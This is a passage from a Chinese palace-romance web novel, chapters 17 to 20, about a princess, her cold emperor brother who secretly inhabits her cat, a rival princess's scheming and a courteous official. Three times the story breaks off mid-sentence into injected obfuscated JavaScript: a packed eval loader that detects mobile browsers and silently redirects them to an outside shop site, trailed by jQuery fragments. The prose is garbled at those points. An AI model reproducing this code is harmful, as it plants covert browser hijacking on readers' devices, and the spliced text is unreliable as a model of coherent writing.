何元初身侧的侍从见了亦是一惊,“大人您没事吧?” 何元初摇摇头,挡住了侍从掏出帕子要替他包扎伤口的手,迎着安玥关切的目光,他似是安抚:“无事,只是小伤罢了。公主不必介怀。” 安玥朝边上吩咐了声,要去传太医,何元初恭敬道:“不必如此麻烦。只是小伤,今日宫宴,莫要为了这些小事坏了公主心情。” 他礼数周全,话里话外更是为他人着想,让人如沐春风。安玥亦知今日之事不宜声张,若是皇兄得知此事借机发难,要处置咪儿,她必然拦不住。 思及此,安玥目光愈发愧疚,“何大人,前面有处亭子,我陪何大人坐着休息片刻吧,顺道替大人处理一下伤口。若桃,将药箱拿来。” “奴婢这就去。” 何元初听罢未再推脱,微微一笑,“有劳公主。” 亭子一面靠着山,遮挡了大半的风,亭内又悬挂锦帘,地面挖有浅坑,放了地炉,并不冷。今日元宵,四周的灯比往日都亮些。 凳上铺有羊皮,是极软和的料子。安玥把咪儿放到清栀怀里。她心系何元初手背上的伤,却见他把手垂在袖中,错开话题:“公主晚膳未用多少,可要微臣差人送些点心来?” 安玥摇摇头:“无妨,我不饿。何大人,可否让我看看你的伤?” 先前站着的那处没灯,伤口太暗,看不大清,安玥心里总觉得没底。 这位到底是丞相府嫡子,若是伤口感染,再抓出个好歹,就算皇兄不动手,丞相府不得把她劈了? 她一点情绪都写在脸上。何元初失声笑道:“公主当真不必忧心,只是一点皮外伤。” “何大人。”安玥加重了语气,掺了有几分胁迫的意味。可神情却不是那么回事。 何元初不禁觉得有些好笑,“微臣遵命。” 他将手伸出,这会借着光亮,安玥看清何元初手背上的伤。 原先伤口的血迹尚未干透,仍有几点鲜红从伤处渗出,瞧着有些可怖。 何元初作势要将手收回,“莫要污了公主眼。” 一只手及时抓住他手腕,止住他动作。 男女力道本就悬殊,安玥这点力道对他而言本轻而易举就能挣开,比起拽更像是捏,但何元初没动。 本朝民风开放,这点动作不算出格。 安玥取了帕子将伤口清理干净,接过若桃递来的药瓶,“何大人,若是觉得疼痛,便告知我。” 何元初手放在石桌上,指尖微微一蜷,他莞尔:“多谢公主。” 晚间起了风,红绸微晃,灯摇影动。将在殿中沾上的闷热之气吹散。月辉落在人身上,袍角的暗纹折出冷光。 曲闻昭站在树下,目光落在不远处的亭子里。明黄的光投在女子的面靥上,她低着头,手里拿着块帕子,似是在帮人包扎伤口,神色专注。 曲闻昭觉得这幅神情在何处见过,却又好似从未见过。 胡禄站在新帝一侧小心提醒,“陛下,这儿风大……”他话至一半,觑见陛下神色,那神情似是覆了层冰霜。 四周皆挂着宫灯,夜风却未沾烛火的温度,掺着暮色,更刺骨了些。 他打了个寒颤。见陛下已移步离开。胡禄一面气喘吁吁跟上,一面用袖子拭着额角渗出的汗。 安玥不知怎的觉着后脊有些发凉。她若有所感地转过头,却只见到花灯和树,往后是黑沉沉的夜。 她收回目光,何元初手背上躺着只蝴蝶结,她左看右看,瞧着有些怪异。 何元初笑道:“微臣可否多问一句,公主从前可有帮别人包扎过?” 安玥面色微窘,“包过的。”她侧过身,点了点咪儿的脑袋,“给它包扎过。” 安玥看了眼天色,忽觉已是不早,她起身,“今日之事,多谢何大人。日后何大人若有需要,我能帮得上的,何大人都可提。” 安玥话虽这般说,却觉得这番话实在没什么诚意。毕竟对方不像是需要她帮什么的样子。 何元初却微微一笑,“多谢公主。” 安玥朝何元初露出抹笑来,起身离开。 何元初站起身,目送那道背影。他身侧的侍儿压低了声音,语调不解:“小人不知,公子明明可以躲开,为何要受这一下?” “青攸,你觉得,公主如何?” “小人不敢妄言,只是此一时彼一时,老爷的意思,如今若要联姻,五公主怕是更合适些。” 他话落,瞥见公子眼神,面色有些泛白,“小人失言。” 何元初目光不知在何处轻轻落了下,笑了笑,未说话。 假山后,一道目光牢牢锁在这头。最后化为一抹阴毒。 思檀见身侧不知何时没了动静,一转头方发现公主已经走远,她小跑着追上:“公主!” 及至亥时,夜空爆开第一朵烟火,旋即无数爆鸣声扎入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640502|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云层,将黑幕点燃。 绚烂的光影倒映在湖中,漆黑的水面浮起一层温度。 安玥仰着头,清亮的目光里映出紫霞流丹,融入莹莹的月色中去。 “汪!汪!”尖锐的叫声搅散了光影,安玥回过神。耳边急急传来一声,“公主小心。” 一只大犬冲破黑暗,朝这边直扑而来。安玥面色微白,慌忙避开。未防脚下石块松动,她未站稳,往身后跌去。 身体坠入水中的瞬间,她听到岸上传来惊呼。湖水剧烈晃动,冰冷的水灌入口鼻。安玥觉得浑身僵冷,血液被冻住般,将她沉沉得往水下压。 她心底颤颤巍巍把那条犬骂了个便,更多的是觉得害怕。 直到一道暖流贴着身体渗入,安玥觉得腰间一紧,她被带离水面。 安玥浑身冷得打颤,却还是借着模糊的眼睛,看清来人。 是何元初。 原本不知何时已围满了人。清栀将她牢牢护在怀里,挡住了数道视线。 “公主,您没事吧?” 安玥饧涩着眼,对何元初摇摇头。 紧接着不远处传来动静,原本围在四周的人流顷刻间退散开。 湖畔再度陷入沉寂。 安玥勉强抬了抬眼,这不抬不要紧,一抬眼便触到一张冷若冰霜的脸,有些沉,比那几近结冰的湖水还要凉几分。 “微臣参见陛下。” 安玥缩了缩脖子,便见皇兄大步朝自己走来。她不知怎的起了装晕的念头,便见皇兄似是朝清栀看了眼。 她便觉得身上力道一松,清栀解开了她狐裘。紧接着一件氅衣掺着一股熟悉清冷之气裹来。 安玥怔了怔,尚未反应过来,清栀将她扶起,朝不远处的轿辇走去。她大半个身子靠在清栀身上,未防脚下石子,被绊了下。好在一只手径直将她拉住,才让她没跌出去。 安玥扭头,见是何元初,道谢:“多谢……何大人。” 何元初待要说话,察觉到一道目光落在自己身上,不冷不热,却透着锐意。他不由得抬起头。 陛下半张脸隐在昏暗里,神情晦暗不明。 何元初缓缓收回扶着安玥手臂的手,温声:“公主不必挂怀。夜里风凉,望公主保重身……” 一道声音冒出打断:“公主,夜里风凉,快些进去吧。” 安玥看了何元初一眼,点点头,步入轿辇。 轿帘掀开,里面还算宽敞,刚好能容下两个人。安玥在曲闻昭身侧坐下。她半个身子贴着辇壁,不自觉笼了笼身上的氅衣。 曲闻昭目光仍落在书册上,未分给她半点。他声色不冷不热,“我竟不知,妹妹与朝中重臣亦有私交。” 安玥脸白了又白,顾不得冷,连忙解释:“不是,只是何大人路过,拉了我一把。断无私交。” 曲闻昭抬起玉指翻页,许久未理她,也不知听清了没有。安玥又惊又怕,等了半晌,悄悄问了句:“皇兄?” 无人理她。 她声音又小了几分:“皇……” 曲闻昭终于抬眸,睨了过来。 18. 第 18 章 安玥缩了下脖子,“安玥是想问,皇兄你渴不渴,要不要喝水?” 曲闻昭眼里似含着笑,却没什么温度,“私交与否,我不在意。妹妹若真是出格,只需到宗人府,届时自有足够的时间反省。” 他看着安玥又红又白的脸,笑着补了句:“不过我相信妹妹,有分寸。” 安玥无缘无故被威胁一通,又不知何处惹了他,气得说不出话,又是惊又是惧,几乎忘了冷。 风扬起轿帘,安玥没忍住打了个喷嚏,缩在角落不说话了。 轿子在镜烛宫稳稳停下。安玥行了礼,头也不回下了轿。 却不想她沐浴后换了衣裳,看见桌上摆着一碗漆黑的药。 她佯装没看见,边上冷不丁冒出声音,“公主,这是陛下适才差人送来的。” 安玥身形微僵,“清栀,你没骗我?” “这样的事,奴婢哪里敢说谎?“她起身去柜中取了两枚蜜饯出来。安玥就要伸手去接,清栀躲开,一个劲朝她递眼色:”陛下也是为您好,公主趁热喝。” 偏生安玥头昏脑涨,半点没会意,“清栀,你眼睛不舒服吗?” 清栀:“……” “公主快趁热喝吧。” 安玥抿了抿唇,抬手抹了下碗沿,药是温的。这样她唯一一个借口也没了。她待要说什么,方察觉屏风后站着道矮胖的人影。 她心里突突直跳,便听那头缓缓飘来一句:“公主药需趁热喝,奴婢还等着回去复命呢。” 安玥面色微白,后知后觉清栀为何朝自己眨眼。她几乎怀疑药里下毒,不自觉看向清栀。 清栀朝她微微颔了颔首。 这是验过的意思了。 安玥拧着眉端起药碗,她吸了口气,一股药辛味袭入鼻中。她连忙屏住呼吸,不敢再犹豫,将药碗端至唇边。酸苦的药汁流入口中的瞬间,一股麻意席卷上来。安玥从未喝过这般难喝的药,险些要吐出来,偏生屏风后还有一双眼睛盯着这边,她要吐不敢吐,硬是把剩下半碗喝完了。 她接过帕子干呕了声,哆哆嗦嗦搜刮走清栀递来的两颗蜜饯,一股脑塞入口中。 蜜饯的甜混杂着药的苦辛气,在口舌中缠斗。安玥捂着唇,竭力不让自己吐出来,最后已经听不清身边的人说了什么。 待缓过气来,胡禄已经离开了。 安玥吩咐了声,让人查查那只狗是从何处冒出来的。旋即一把钻入被中,如同被吸干了精气,一动不动。 安玥迷糊间察觉什么东西轻轻在她指尖蹭了下,安玥用了些力道,把那团东西抱入怀里。 曲闻昭不耐烦抬了抬眼,待要再寻个舒服的姿势,头顶的人似是呢喃了句:“今日若是没有何大人,你主子就要魂归西天了,以后就没人喂你饭了……你还拿爪子抓他。” 安玥话音刚落,感觉怀里的温度骤然窜离。安玥尚未清醒,不经意蹙了蹙眉,伸手去捞,捞了半天却也没把想要的捞回来,手臂又酸又冷,有些气闷地把手缩回。 昏暗里,一双泛着绿光的瞳盯着榻上的人,凉意丝丝缕缕渗透。 翌日天还未亮,胡禄觑着陛下阴沉的脸,语气试探:“陛下可要唤御医配些宁神的汤药过来?” 曲闻昭抬眼,轻飘随意,却渗出几分压不住的戾色。胡禄后颈一凉,当即将头埋进肚子里,闭了嘴。 “陛下,昨夜侍卫去查了,那大犬本是冷宫里一位神志不清的妃嫔养的,不知怎得笼子打开跑了出来。”胡禄从怀里取出一枚钥匙,“这是在冷池里发现的。昨夜岁康公主的侍女曾鬼鬼祟祟往冷池去了一回。” 那里鲜有人经过,昨夜又是元宵,更是无人注意。 他刚送走了莲太妃,本想留岁康一条命,慢慢清算,却险些把她忘了。 “人现在在哪?” “让人看着呢,陛下未发话,奴才们不敢擅自处置。” 曲闻昭对着茶水轻轻呵了口气,茶水不冷不烫,“那犬想来也饿了许多天了,让它咬下那宫女一条手臂,一并给岁康送去。” 胡禄神色平静:“奴婢明白。” 午后出了太阳,日光笼下。御花园的花架下摆了张藤椅,上面铺了羊皮,安玥躺在上面。她身上裹着厚厚的衣裳,袄裙还包着一圈兔毛裙边,一双腿懒洋洋地垂着,露出半截罗袜。 她头偏向一侧,一头乌发软绵绵披在肩上,隐隐露出雪白光滑的脖颈。她转了个身,原本盖在身上的薄毯滑下去一截。这会起了风,许是觉得冷,她往里缩了缩。 曲闻昭走近了,便见到这一幕。他不自觉想把那张兔毛毯子拉回去,指间抬起的同时,他眉心蹙了下。 他脚下微动,就要离开,恰巧椅上的人睁开了眼。 安玥见到来人,先是怔愣了下,那双迷蒙的眼睛越睁越大,旋即藤椅上的人缩了缩脖子,整个人瞧着彻底清醒了。 曲闻昭将她这幅样子尽收眼底,移步离开。 迫人的气息抽离,安玥长长舒了一口气。却见那道背影的脚步似是顿了下,安玥忙不迭捂住嘴,只露出一双眼睛惊疑不定地看着那道背影。 好在皇兄并未理会她,只留下一道颀长的背影,越行越远。 安玥理了理衣裙,就要起身,余光瞥见不远处似是站着道人影。 珊瑚色的宫装,极为显眼。是岁康。 她动作微僵,硬着头皮朝不远处赶去。 曲闻昭走出几步,只听身后一阵环佩铿锵,紧接着偷偷摸摸冒出一声:“见过皇兄。” 他微微侧目,便见安玥勾着唇看着自己,只是那眼神透着心虚。他余光往不远处看了眼,目光落回到安玥身上。 曲闻昭唇角弧度透着些讥讽,似是故意的,并未理她。 那眼神实在冰冷,安玥没忍住打了个寒颤,待见人已走远,她面上笑容僵住,颇有几分窘迫。 不知是否是错觉,以往皇兄也厌恶她,但总会变着法子磋磨她。 可这回皇兄却是懒得理她,倒像是在生气。 她有何处惹着他了?她心底有些讶异,她还有这本事呢。 不远处。 思檀奇怪道:“公主,不是都说,那位有多宠爱她,可奴婢瞧着,怎得像是不熟呢?” 岁康冷冷笑了声:“谁知道呢?” 是啊,人人皆传皇兄如何喜欢安玥,可她从未见过他们相处。是真是假,试探一下不就知道了么? 若是是假……岁康心跳得快了几分,面容跟着扭曲了瞬。 凉亭内。 “公主可是遇着不高兴的事了?” 女子一身云水色的袄裙,肩上覆着件浅云色的披帛,上面绣着云水纹,是极素净的样式,却不简陋,反倒有一种淡冶之美。 “玉茗,什么都躲不过你的眼睛。”岁康眼眶有些泛红,“我也不知那小贱人使了什么下作手段,竟哄得皇兄把母妃送去皇陵。” 她眼神透着委屈,可语气却是毫不掩饰的怨毒。 “岁康?“杨玉茗怔了怔,似是不解:”她为何要这般害你?” “你也知道,我与她素来不合。父皇在时,她就没少仗着大皇兄和父皇的宠爱,对我颐指气使。如今又……” “殿下又怎能确定,此事是她做的?” “玉茗?”岁康气闷道:“你怎的替她说话?” 杨玉茗婉声道:“殿下误会玉茗了,玉茗并非这个意思。玉茗只是觉得奇怪,殿下又是如何能确定,陛下是真的宠爱她?” “她自己说,皇兄独独送了她一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646463|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翠翘,可不就是……” “那便是说,无人能证实此事。若是如此,玉茗倒有一个法子。” 岁康不自觉凑近了些,“说来我听听。” 杨玉茗轻声道:“公主可以借着请安试探一下陛下,同是兄妹,陛下送了十七妹妹,总不好不送五妹妹。公主可以借着讨要的名义,拐弯抹角提及此事,再看陛下反应。” “可若是皇兄不愿意……反倒触怒了皇兄……” 岁康有些没底,她一开始只是以为那位皇兄像原来的大皇兄那般,性子比较清冷。 直到昨夜,皇兄身边的人送来断臂,她知道,皇兄必然是知道了什么,借着这个法子血淋淋地敲打她。 这分明是魔鬼! 杨玉茗似是不解:“陛下不是易怒弑杀之人,若非如此,安玥公主又怎会活到现在?” “你说得对。”岁康犹豫道:“那我试试。” 心中石头落地,岁康拉了拉杨玉茗的手,“玉茗,你真是我的解语花。每次有事,只要同你说,你总能帮我寻到法子。”她语气感激,可眉心却蹙紧了,“那些个世家女,别以为本宫不知道,表面奉承本宫,可一遇到点事,半点用都抵不上。” 杨玉茗摇摇头,宽慰道:“能帮到公主便好。” 宁兴宫。 “陛下,岁康公主求见。” 曲闻昭未抬头,“不见。” 胡禄见陛下这般,便知是没有回纥的余地了。他心底寻好理由,待要出去,身后轻轻飘来一声,“让人进来。” 胡禄虽不知陛下好端端怎得又换了主意,但并未过问,恭恭敬敬应了声“是”,推开殿门出去。 不消片刻,岁康裹着件殷红的兔毛斗篷,从殿外进来。 殿内烧着地炉,扑面而来一股暖意。她悄悄往那头瞥了眼,见皇兄坐在桌案后,边上摆着只博山炉,山峦间有青烟溢出,将那张如玉的面容氲出些温润的意味。 许是这会离得近了,这位二皇兄不似从前那般有距离感。 她大了胆子,行礼,“见过皇兄。” “从前两宫离得远,岁康未能与皇兄亲近。今日岁康特来赔礼道歉。这是岁康差宫里的厨子做的糕点,非是贵重的东西,却是岁康的一片心意,还望皇兄不弃。” 思檀端着食盒站了半晌,一旁的福禄却没有要接过的意思,主仆二人一时有些窘迫。 岁康见此情形,不禁打起退堂鼓,心里尚在犹豫,皇兄却主动问了句:“五皇妹可是有事?” 这声音不冷不热,她紧张地拽了拽衣袖,将先前在路上打好的腹稿就这般说了出来,“前些日子安玥说皇兄送了只翠翘给她,岁康见那翠翘做工精细,实在喜欢得紧,便厚着脸想向皇兄来讨。” 她话落,偷偷瞄了眼曲闻昭面色。等了许久也不见皇兄答复,她手心渗出一层汗来,刚想补句什么,却见皇兄复提笔沾了沾墨,“孤并未送过,五皇妹怕是记错了?” 此言一出,岁康心底半分紧张也没了。她险些笑出声,唇角翘起的一瞬她赶忙掐了下自己的手背,她垂着头,语气不解:“那皇妹怎得扯这样的谎?” 她自认这一句说得极有技巧,掐着时候抬头,却见原本低头练字的人,不知何时抬起了眼,盯着自己,那眼神清泠泠的,瞧着没什么情绪,却好似能穿透人心。 她小腿肚子打颤,被看得有些心虚,加之目的达到,她没了逗留的心思,就要离开。临末想起什么,大着胆子试探了句:“皇兄,岁康有些思念母妃,皇兄可否看在舅舅尚在户部为君分忧的分上,特赦母妃回来。哪怕一辈子食素礼佛,为父兄祈福。” 皇兄总不会无缘无故发难,她险些被安玥忽悠过去,如今想想,倒极有可能是溪儿前些时日冒犯了他。 19. 第 19 章 岁康话落,却未像先前那般得到答复。只听到指节轻扣桌面,一声又一声。她觉得那声音敲打在心尖儿似的,她没了底气,腿也开始发软。 “‘凡为人子之礼,冬温而夏凊,昏定而晨省’,五妹既然如此思念莲太妃,不若前往皇陵陪侍在侧,以全了皇妹孝心,如何?” 岁康面上血色褪净,慌忙跪下,“岁康非是这个意思。” 曲闻昭重新提起笔,胡禄见陛下没了深究的意思,面无表情道:“公主,陛下尚在忙,您先回去吧。” 她听了这一声,先是一怔,一张脸青白交错起来,她语气多了些恼意:“岁康告退。” 待人走远,胡禄提起先前思檀落在地上那盒糕点,“陛下,这糕点如何处置?” 曲闻昭睨了胡禄一眼,胡禄在那眼神里品出几分嫌恶和不耐,他忙不迭道:“奴婢明白。” 曲闻昭冷着脸,纸上的字练废了数张。 胡禄在一旁站着,不知好端端陛下怎得又不悦了,埋头立在角落,屏住气息。 安玥第二日便觉眼皮子跳得厉害,她总觉得不安,果真一出门,便见躲了她数日的岁康迎面朝这边走来。 神气活现,面上是掩不住的讥讽。 安玥隐隐猜到什么,有些厌烦,就要避开。岁康却一下子到了跟前。 “撒谎精,见着我就跑,怎么,心虚?”她语气是难以掩饰的讥讽,尾音上扬,也不知是憋了多久,才这般迫不及待。 安玥微微叹息,“皇姐前几日还一把鼻涕一把泪求着皇妹救莲太妃,今日变脸未免太快了些。” 岁康被踩中痛点,就要发作,见四周已有不少宫女太监注意到这头,她笑了声,拔高了声音,“皇妹前些日子说皇兄送了你一只翠翘,皇姐今日一问皇兄,方知根本没有此事。皇妹从哪学得这一身撒谎的本事?” 此言一出,四周不乏有听说事情经过的,都有些惊愕。接连几件事下来,众人心里本已确信,陛下宠爱公主一事,如今一件事被戳破,旁的几件事也跟着倒塌,甚至浮出些不同寻常的端倪。 四周议论声也大了起来。清栀跟在安玥身后,眉心微蹙,就要出声。安玥将她拦住,她不予纠缠,一转身,却见一人朝这边走来。 他出声打破僵局。 “望公主甚言。无论翠翘是否是陛下所赠,安玥公主都是我大晟的十七公主,是先帝最喜爱的公主。先帝生前曾立下遗嘱,要陛下照拂宫中姊妹,尤其是安玥公主,此事是板上钉钉之事。” 岁康看清来人是何元初,面上血色褪了些,她瞪大眼睛,眼中似有泪意,却忍着没落,“你也帮她说话?!” 何元初道:“微臣只是就事论事,若是惹公主不快,还望公主惩罚。” 蔻丹陷入皮肉,可岁康却浑然无觉般,她死死盯着何元初,一连说了数个“好!”最后强忍着怨毒瞪了一旁面无表情的安玥一眼,拂袖离开。 安玥站在何元初身后,见没了动静,悄悄探出些头,正碰上身前的人转过身,二人目光对上,安玥怔了怔,后知后觉退后两步,一双眼睛却睁得大大的,“多谢何大人。上回之事,尚未来得及向何大人致谢。” “微臣分内之事,公主不必挂怀。” “若是有机会,我邀大人……喝茶?”她自知底气不足,咬了咬下唇,“或者何大人有什么想要的?” 何元初微微一笑,“上回之事,本是微臣冒犯公主。公主未曾怪罪,微臣已是……” “不不不。”安玥忙将他打断:“我感激你还来不及,没给你添麻烦吧?” “麻烦?”何元初似是不解:“公主是指……?” 安玥松了口气,“没有便好。我承你的情,欠你一份恩,过意不去,你来日若有需要,随时都能来找我。” 何元初温声:“多谢公主。” 安玥自知不适合在这里交谈太久,行了个礼便转身离开。 青攸看着公主离去背影,神色不解,压低了声:“公子为何不借此机会,单独约公主出去?” “她眼下显然对我无意,操之过急只会适得其反。” “是青攸愚拙了。” 这宫里太监宫女随处可见,流言若不经遏制,便会疯长。安玥回去的路上,便感觉有数道目光悄悄朝这边看来,时而闪躲。 安玥用脚趾猜一下也知道,这帮人要么在想,她为了强撑着势,不惜吹牛扯谎,要么在议论,皇兄眼下对自己是何态度。 她撇了撇嘴角,提裙一下跨过门槛,朝宫内走去。殿门推开,她向屋内张望了眼,便见咪儿躺在桌下打着呼噜。 晚间清栀担心她心情不好,拉着若桃在门外说了一堆,又说若桃点子多,让她想点法子哄哄她。 却未想到她也不是聋的,一来一回全被她听进去了。安玥把门推开一条缝,探出半只脑袋,扮了个鬼脸“嘿!”了声。 “啊!” 若桃蹿跳开来。清栀亦是抖了下。 安玥抱着门笑得前仰后合。 房门推开的瞬间,烛光打在那二人面上,将二人面上的惊愕照得分毫毕现,两个窃窃私语的小老鼠就这么被抓了个现行。 若桃反应过来,声音又气又委屈,“公主!” 安玥推搡着赶人:“少在这站着,赶紧回去。” 清栀被推着,边走边回头:“公主,您若是有事便唤奴婢们。” 安玥没忍住揉了揉耳朵,“知道了,知道了。” 曲闻昭一过来,便撞见这一幕。他原本趴在桌柱脚边尚有些迷糊,见安玥鬼鬼祟祟站在门后,未来得及反应,被那一声闹醒。 这会彻底清醒了。 他刚起身,面前阴影投下,双脚离地,一只手提着他的后颈将他提起。 曲闻昭被吵醒,忍着不悦,一双眼睛盯着她。 安玥在那眼神里诡异地品出几分幽怨的意味,她把咪儿抱进怀里,“吵着你了吗?” 曲闻昭本以为她又要躲起来哭,没成想她还有心思管旁人。他觉得灯烛的有些亮,脑袋有些不满地往安玥怀里埋了埋,嗅到一股甜香。 安玥一只手一下一下替他顺着毛,“岁康今日同我说,他去找皇兄,问翠翘的事。你说皇兄是怎么回她的?” 曲闻昭料到接下来没什么好话,耳朵微微竖起。 “我猜皇兄先是不悦,旋即面上却摆出一副关切不解的样子,装模作样问岁康‘何出此言’。” 安玥感觉咪儿的尾巴有一搭没一搭晃着,时不时还会蹭过下巴,她打了个喷嚏:“这帮人眼下必然在悄悄嘲笑我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651195|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这世上怎会有这么坏的人?” 曲闻昭不以为意。 “何大人就很好,一点也不像皇兄。他今日还替我解围来着。先前落水也是他……诶?” 安玥话还未说完,怀里一空,咪儿已跳下地去。不知是否是咪儿被念叨得烦了,她尚未来得及反应,咪儿已从那条门缝挤出,一溜烟没影儿了。 安玥怒了:“你脚还没好,跑哪儿去?!” 她气喘吁吁追出屋去,往四周环看了圈,终于借着模糊的光亮,在石阶下看到咪儿。他坐在台阶上,一双眼睛幽幽的泛着光。 安玥将他抱起,不顾他挣扎,往屋内走去。 “这几日太冷了,我明日带你出去。等天气再暖和些,咱们可以在院子里纳凉。” 曲闻昭挣扎的幅度小了些,只睁着一双眼看她。安玥看着那眼神,不自觉摸了摸他脑袋。她把咪儿放在榻上,为了防止他跑,眼疾手快伸出一只手轻轻摁住他后颈。 曲闻昭失语一阵,索性趴回床上。 却不想安玥娴熟地碰了碰他的腿,他身形僵了瞬,头顶的人问:“腿是不是又伤着了?” 安玥话落,察觉原本趴在床上的咪儿抬起头看她,那眼神有些复杂。 安玥觉得咪儿这几日到了夜里便有些奇怪,睡醒了不会主动亲近她,甚至给她一种疏离感,有时候还喜欢霸占着一整铺床。有时候还会莫名其妙挣脱她。 安玥自言自语:“算了,虽然你有些怪怪的,但我还是喜欢你。” 曲闻昭搭在床上的脚微不可察一颤,一只沾了药的手在他腿上不轻不重揉了起来。凉意渗入腿中,不知为何,他却觉得伤处愈发刺痛。 他觉得这一次的伤,比从前受过的任何一次都要痛。 他的腿不会断了吧? 他低下头,却见原本毛绒的腿上被人用藕色的帕子扎了个蝴蝶结。 瞧着极为傻气。 好丑。曲闻昭伸出爪子拨了下那只蝴蝶。 安玥看着自己的杰作,极为满意,“好看吧?” 她话落,咪儿分出个眼神睨她,她在那眼神里品出几分不满意的味道。 安玥抬手在他臀上拍了下,“不喜欢?不喜欢还敢乱跑?你回头再摔断了,仔细我给你四只脚都系一个。” 曲闻昭趴在臂间看着那只蝴蝶结,却觉得心底被一股奇异的感受填满。 像是被一团棉花堵着,绵软,堵久了还有些热。他用爪子拨了拨,却被棉絮勾住,旋即血液和骨节也跟着被棉絮缠连。却不难受。 曲闻昭微微仰头,见安玥盯着自己。他心中升起一股不祥的预感,缓缓支起身子,便见安玥眼睛发亮,一脸好奇:“咪儿,你是公猫还是母猫呀?” 安玥话落,察觉咪儿顿生警惕,就要跳下榻去,安玥早有预感,一手拎着咪儿的后颈,另一只手轻轻托着他身体。 他被提起的瞬间,略带狼狈地夹紧双腿,却还是晚了一步。 曲闻昭便听身下轰然一声:“原来你是公猫耶?”他只觉浑身血液被煮开了般,咕噜噜冒着热气。 他要杀了她!这世间怎会有如此不知羞耻之人! 安玥抱着他,唇角勾着:“你若是无聊,我给你找个伴怎么样?等过两年,你们生了小……” 20. 第 20 章 “喵呜——” 安玥话未说完,原本乖巧的狸奴又挣扎起来。她几乎怀疑咪儿听懂了,“你不愿意?” “喵——” 这一声十成十的凶狠。 是了,他险些忘记这件事。他白日并不在这具身体上,若是哪天夜里他到了这具猫身上,却发现周围多出一群哇哇乱叫的小猫…… 曲闻昭只觉一股恶寒从骨头里溢出,一双眼睛瞪圆了,直直盯着她,生怕她再做出什么事来。 曲闻昭自认为自己的声音和眼神或多或少起了威慑意味,却不知安玥只觉得他这模样可爱极了。她摸了摸咪儿的脑袋,“那好吧,暂且先不找了。” 这是什么语气?!失落? 有时候他真想把她的脑袋撬开,给一只畜……给一只狸奴配偶,她究竟是怎么想的?! 是日子过得太闲了?果然还是蠢。 曲闻昭嫌弃地往后面蹭了蹭,被安玥一把捞进怀里。 “好困。”安玥打了个哈欠,抱着他往被窝里钻。 自安玥那夜提及要为咪儿找个伴儿解闷,被咪儿极力拒绝后,她便暂时歇了心思。却不想咪儿腿一好,自己闷坏了,大清早便不见了影子。 眼见着到了傍晚,咪儿还没回来。安玥只得让人提着灯笼出去寻,一行人寻遍了咪儿最常去的地方,也未见着影子。 “公主,不知又去哪儿浪了,您别管了,它一会肚子饿了,自己就回来了。” 安玥担心岁康怀恨在心,再对咪儿下手,“算了,我再去寻,就当消食了。” “还有哪儿没找过吗?” 清栀道:“应差西北角那几处。” 娴淑宫。 黑暗的殿中只剩一盆炉火烧得正旺。白玉般的手指将折好的金元宝一只只放进燎炉中。男子褪下朝服,玄色的长袍委地,袍边缂着银丝。 殿内未点灯,牖页开了条缝,偶尔透进几缕寒风,沾着月霜,扬起盆中的纸灰。 火光烧出一圈光晕,燎得刺眼。树影黑压压地投落在晕圈上。 或许是祺太后去世太多年了,连样子都快要模糊不清。曲闻昭报了仇,却依旧觉得无趣,心里原本留给恨意的那一块突然空了,只剩下虚无的黑暗。 角门推开,一阵寒风迎面扑来,安玥搓了搓手臂,边上的人就要开口,安玥心里打了个突,未给她出声的机会:“我不冷!” 西北这头靠近冷宫,多是些空置的宫殿,平日里没什么人。她绕了好几处,终于听见几声喵叫,层层叠叠,还不止一只。似是从墙角处传出。 夜风里还杂着一股怪异的味道,有些闷热。 安玥未来得及深究,见边上若桃就要过去,她伸手把人拉住,做了个嘘声的动作。 若桃会意,悄悄跟在她身后,主仆三人摸到檐下的柱子后,探出半个脑袋往墙角探去。 只见枯藤缠绕的墙下,站着两只狸奴,一只雪白,另一只却是安玥没见过的,似是三花。 安玥心下了然,难怪那日她说起要给咪儿找个伴,咪儿那么抗拒。原来是心里有人…有猫了。 安玥倒吸一口凉气,“什么来头?” 若桃摇摇头:“没见过呀。” 咪儿浑然未察觉自己已经被人“盯上”了,仍一个劲往那只三花身上蹭。 却不想那三花似是被什么脏东西蹭上了,眼见着咪儿死缠烂打,扬起爪子就要往咪儿身上招呼。 安玥吓了一跳,忙不迭要去救,好在咪儿反应及时,勉强避开了。 安玥不知怎的觉得有些丢脸,想把咪儿捞回来,刚从柱子后绕出去,方看到另一侧的檐下站着两名身材高大的侍卫,正盯着自己。 她尚未反应,一旁的窗呼得亮起,旋即“吱呀”一声,原本紧闭的房门被人推开,烛光打在安玥面上,双目难以适应光亮,她抬手遮了遮,烟熏火燎的气息满而来。安玥心底升起一阵不祥的预感。 